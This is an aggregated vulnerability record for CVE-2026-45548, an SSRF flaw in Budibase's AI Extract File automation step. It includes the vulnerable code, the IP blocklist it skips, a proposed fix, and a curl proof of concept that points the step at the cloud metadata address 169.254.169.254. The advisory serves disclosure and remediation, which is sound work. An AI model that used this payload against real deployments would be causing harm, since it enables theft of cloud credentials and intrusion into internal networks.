{"id":"CVE-2026-45548","aliases":["EUVD-2026-32604","GHSA-rpj4-7x2v-wjrf"],"status":"published","title":"Budibase: SSRF in AI Extract File Automation Step via Missing IP Blacklist Validation","description":"Budibase is an open-source low-code platform. Prior to 3.34.8, the processUrlFile function in packages/server/src/automations/steps/ai/extract.ts uses fetch(fileUrl) directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses. This vulnerability is fixed in 3.34.8.","severity":{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00258,"percentile":0.17534,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-918"],"published":"2026-05-15T17:47:10Z","modified":"2026-10-28T02:30:57Z","fixes":[{"ecosystem":"npm","package":"@budibase/server","fixed_in":["3.34.8"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@budibase/server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.34.8"}]}]},{"source":"osv","ecosystem":"npm","package":"@budibase/server","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.34.8"}]}]}],"products":[{"vendor":"budibase","product":"budibase"}],"references":[{"url":"https://github.com/Budibase/budibase/security/advisories/GHSA-rpj4-7x2v-wjrf","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/Budibase/budibase/releases/tag/3.38.4","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45548","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-rpj4-7x2v-wjrf"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45548.json","tags":["advisory"]},{"url":"https://github.com/Budibase/budibase","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-45548","title":"Budibase: SSRF in AI Extract File Automation Step via Missing IP Blacklist Validation","description":"Budibase is an open-source low-code platform. Prior to 3.34.8, the processUrlFile function in packages/server/src/automations/steps/ai/extract.ts uses fetch(fileUrl) directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses. This vulnerability is fixed in 3.34.8.","status":"published","published":"2026-05-27T17:11:42.679Z","modified":"2026-05-27T19:15:30.227Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T13:46:32.755125Z"}],"euvd":[{"id":"EUVD-2026-32604","description":"Budibase is an open-source low-code platform. Prior to 3.34.8, the processUrlFile function in packages/server/src/automations/steps/ai/extract.ts uses fetch(fileUrl) directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses. This vulnerability is fixed in 3.34.8.","status":"published","published":"2026-05-27T17:11:42Z","modified":"2026-05-27T19:15:30Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T18:21:03.450999Z"}],"ghsa":[{"id":"GHSA-rpj4-7x2v-wjrf","title":"Budibase: SSRF in AI Extract File Automation Step via Missing IP Blacklist Validation","description":"## Vulnerability Details\n\n**CWE-918**: Server-Side Request Forgery (SSRF)\n\nThe `processUrlFile` function in `packages/server/src/automations/steps/ai/extract.ts` uses `fetch(fileUrl)` directly **without the IP blacklist validation** that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses.\n\n### Vulnerable Code\n\n**`packages/server/src/automations/steps/ai/extract.ts` (lines 116, 139)**:\n\n```typescript\nasync function processUrlFile(fileUrl: string, ...): Promise\u003cExtractInput\u003e {\n  const response = await fetch(fileUrl)  // NO blacklist check!\n  // ...\n  const fallbackResponse = await fetch(fileUrl)  // Also NO blacklist check!\n}\n```\n\n### Contrast with All Other Automation Steps (Same Codebase)\n\nEvery other automation step that makes outbound HTTP requests properly uses `fetchWithBlacklist`:\n\n- `steps/slack.ts:19`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/discord.ts:28`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/zapier.ts:33`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/n8n.ts:53`: `response = await fetchWithBlacklist(url, request)`\n- `steps/outgoingWebhook.ts`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/make.ts`: `response = await fetchWithBlacklist(url, {...})`\n\nThe `fetchWithBlacklist` function (`steps/utils.ts:100`) validates URLs against the IP blacklist which blocks:\n- `127.0.0.0/8` (loopback)\n- `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (RFC1918 private)\n- `169.254.0.0/16` (link-local / cloud metadata)\n- IPv6 private addresses\n\nThe AI Extract File step bypasses all of these protections.\n\n## Steps to Reproduce\n\n### Via Budibase UI\n\n1. Login as builder user\n2. Create or open any app\n3. Go to **Automations** \u003e **New Automation**\n4. Add trigger: **App Action**\n5. Add step: **AI \u003e Extract File Data**\n6. Set Source: `URL`\n7. Set File URL: `http://169.254.169.254/latest/meta-data/` (or any internal IP)\n8. Click **Run Test** — the server makes the request without IP blacklist validation\n\n### Via curl (API)\n\n```bash\n# 1. Login and get session cookie\ncurl -s -c /tmp/bb.txt \\\n  \"http://BUDIBASE_HOST/api/global/auth/default/login\" \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"YOUR_EMAIL\",\"password\":\"YOUR_PASSWORD\"}'\n\n# 2. Create automation with SSRF payload (replace YOUR_APP_ID)\ncurl -s -b /tmp/bb.txt \\\n  \"http://BUDIBASE_HOST/api/automations\" \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: YOUR_APP_ID\" \\\n  -d '{\"name\":\"SSRF PoC\",\"definition\":{\"trigger\":{\"stepId\":\"APP\",\"event\":\"row:save\"},\"steps\":[{\"stepId\":\"AI_EXTRACT\",\"inputs\":{\"source\":\"URL\",\"fileUrl\":\"http://169.254.169.254/latest/meta-data/\"}}]}}'\n```\n\n### Code Review Verification\n\nCompare the vulnerable function with the safe pattern used everywhere else:\n\n```\nVULNERABLE (no blacklist):\n  packages/server/src/automations/steps/ai/extract.ts:116\n    const response = await fetch(fileUrl)\n\nSAFE (with blacklist) - every other step:\n  packages/server/src/automations/steps/slack.ts:19\n    response = await fetchWithBlacklist(url, {...})\n  packages/server/src/automations/steps/discord.ts:28\n    response = await fetchWithBlacklist(url, {...})\n```\n\n### Expected vs Actual Behavior\n\n**Expected**: `processUrlFile()` should reject internal/private IPs via `fetchWithBlacklist()`\n**Actual**: `fetch(fileUrl)` is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc.\n\n## Impact\n\nAn authenticated user with builder permissions can:\n\n- **Access cloud metadata endpoints** (AWS IAM credentials, GCP service tokens, Azure IMDS)\n- **Scan internal network** services and ports\n- **Access internal APIs** not intended for external access\n- **Exfiltrate data** from internal services via the automation response\n\nIn Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise.\n\n## Proposed Fix\n\nReplace `fetch(fileUrl)` with `fetchWithBlacklist(fileUrl)`, consistent with all other automation steps:\n\n```typescript\nimport { fetchWithBlacklist } from \"../utils\"\n\nasync function processUrlFile(fileUrl: string, ...): Promise\u003cExtractInput\u003e {\n  const response = await fetchWithBlacklist(fileUrl)  // Use blacklist\n  // ...\n  const fallbackResponse = await fetchWithBlacklist(fileUrl)  // Use blacklist\n}\n```","status":"published","published":"2026-05-15T17:47:10Z","modified":"2026-06-08T23:50:36Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:40:21.48274Z"}],"nvd":[{"id":"CVE-2026-45548","description":"Budibase is an open-source low-code platform. Prior to 3.34.8, the processUrlFile function in packages/server/src/automations/steps/ai/extract.ts uses fetch(fileUrl) directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses. This vulnerability is fixed in 3.34.8.","status":"published","published":"2026-05-27T18:16:25.2Z","modified":"2026-06-17T10:52:11.213Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:20.885865Z"}],"osv":[{"id":"CVE-2026-45548","title":"Budibase: SSRF in AI Extract File Automation Step via Missing IP Blacklist Validation","description":"Budibase is an open-source low-code platform. Prior to 3.34.8, the processUrlFile function in packages/server/src/automations/steps/ai/extract.ts uses fetch(fileUrl) directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses. This vulnerability is fixed in 3.34.8.","status":"published","published":"2026-05-27T17:11:42.679Z","modified":"2026-10-28T02:30:57.827056819Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:05.525666Z"},{"id":"GHSA-rpj4-7x2v-wjrf","title":"Budibase: SSRF in AI Extract File Automation Step via Missing IP Blacklist Validation","description":"## Vulnerability Details\n\n**CWE-918**: Server-Side Request Forgery (SSRF)\n\nThe `processUrlFile` function in `packages/server/src/automations/steps/ai/extract.ts` uses `fetch(fileUrl)` directly **without the IP blacklist validation** that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses.\n\n### Vulnerable Code\n\n**`packages/server/src/automations/steps/ai/extract.ts` (lines 116, 139)**:\n\n```typescript\nasync function processUrlFile(fileUrl: string, ...): Promise\u003cExtractInput\u003e {\n  const response = await fetch(fileUrl)  // NO blacklist check!\n  // ...\n  const fallbackResponse = await fetch(fileUrl)  // Also NO blacklist check!\n}\n```\n\n### Contrast with All Other Automation Steps (Same Codebase)\n\nEvery other automation step that makes outbound HTTP requests properly uses `fetchWithBlacklist`:\n\n- `steps/slack.ts:19`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/discord.ts:28`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/zapier.ts:33`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/n8n.ts:53`: `response = await fetchWithBlacklist(url, request)`\n- `steps/outgoingWebhook.ts`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/make.ts`: `response = await fetchWithBlacklist(url, {...})`\n\nThe `fetchWithBlacklist` function (`steps/utils.ts:100`) validates URLs against the IP blacklist which blocks:\n- `127.0.0.0/8` (loopback)\n- `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (RFC1918 private)\n- `169.254.0.0/16` (link-local / cloud metadata)\n- IPv6 private addresses\n\nThe AI Extract File step bypasses all of these protections.\n\n## Steps to Reproduce\n\n### Via Budibase UI\n\n1. Login as builder user\n2. Create or open any app\n3. Go to **Automations** \u003e **New Automation**\n4. Add trigger: **App Action**\n5. Add step: **AI \u003e Extract File Data**\n6. Set Source: `URL`\n7. Set File URL: `http://169.254.169.254/latest/meta-data/` (or any internal IP)\n8. Click **Run Test** — the server makes the request without IP blacklist validation\n\n### Via curl (API)\n\n```bash\n# 1. Login and get session cookie\ncurl -s -c /tmp/bb.txt \\\n  \"http://BUDIBASE_HOST/api/global/auth/default/login\" \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"YOUR_EMAIL\",\"password\":\"YOUR_PASSWORD\"}'\n\n# 2. Create automation with SSRF payload (replace YOUR_APP_ID)\ncurl -s -b /tmp/bb.txt \\\n  \"http://BUDIBASE_HOST/api/automations\" \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: YOUR_APP_ID\" \\\n  -d '{\"name\":\"SSRF PoC\",\"definition\":{\"trigger\":{\"stepId\":\"APP\",\"event\":\"row:save\"},\"steps\":[{\"stepId\":\"AI_EXTRACT\",\"inputs\":{\"source\":\"URL\",\"fileUrl\":\"http://169.254.169.254/latest/meta-data/\"}}]}}'\n```\n\n### Code Review Verification\n\nCompare the vulnerable function with the safe pattern used everywhere else:\n\n```\nVULNERABLE (no blacklist):\n  packages/server/src/automations/steps/ai/extract.ts:116\n    const response = await fetch(fileUrl)\n\nSAFE (with blacklist) - every other step:\n  packages/server/src/automations/steps/slack.ts:19\n    response = await fetchWithBlacklist(url, {...})\n  packages/server/src/automations/steps/discord.ts:28\n    response = await fetchWithBlacklist(url, {...})\n```\n\n### Expected vs Actual Behavior\n\n**Expected**: `processUrlFile()` should reject internal/private IPs via `fetchWithBlacklist()`\n**Actual**: `fetch(fileUrl)` is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc.\n\n## Impact\n\nAn authenticated user with builder permissions can:\n\n- **Access cloud metadata endpoints** (AWS IAM credentials, GCP service tokens, Azure IMDS)\n- **Scan internal network** services and ports\n- **Access internal APIs** not intended for external access\n- **Exfiltrate data** from internal services via the automation response\n\nIn Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise.\n\n## Proposed Fix\n\nReplace `fetch(fileUrl)` with `fetchWithBlacklist(fileUrl)`, consistent with all other automation steps:\n\n```typescript\nimport { fetchWithBlacklist } from \"../utils\"\n\nasync function processUrlFile(fileUrl: string, ...): Promise\u003cExtractInput\u003e {\n  const response = await fetchWithBlacklist(fileUrl)  // Use blacklist\n  // ...\n  const fallbackResponse = await fetchWithBlacklist(fileUrl)  // Use blacklist\n}\n```","status":"published","published":"2026-05-15T17:47:10Z","modified":"2026-09-10T03:51:07.001385739Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:56.281047Z"}]}}
